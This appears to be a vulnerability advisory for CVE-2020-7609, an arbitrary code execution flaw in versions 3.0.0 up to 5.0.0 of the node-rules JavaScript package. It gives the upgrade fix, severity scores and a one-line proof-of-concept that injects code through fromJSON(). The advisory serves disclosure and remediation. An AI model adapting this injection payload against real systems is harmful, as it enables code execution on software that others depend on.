

Arbitrary Code Execution

Affecting node-rules package, versions >=3.0.0 <5.0.0

INTRODUCED: 10 MAR 2020 CVE-2020-7609 CWE-78 FIRST ADDED BY SNYK Share

How to fix?

Upgrade node-rules to version 5.0.0 or higher.

Overview

node-rules is a light weight forward chaining Rule Engine, written in JavaScript.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The injection point is located in line 152,153. The argument rules of function fromJSON() can be controlled by users without any sanitization.

Proof Of Concept

```
var A = require("node-rules"); var rules = { condition:"{.__proto__.toString = 123", consequence:"console.log(123)" } var a = new A(); a.fromJSON(rules); console.log({}.toString)
```

References

- GitHub Fix Commit
- GitHub Issue

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HIGH

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Exploit Maturity	Proof of concept
Attack Complexity	High
Scope	Changed
Confidentiality	HIGH

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> NVD

0.8 CRITICAL

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Snyk ID	SNYK-JS-NODERULES-560426
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Credit	JHU System Security Lab

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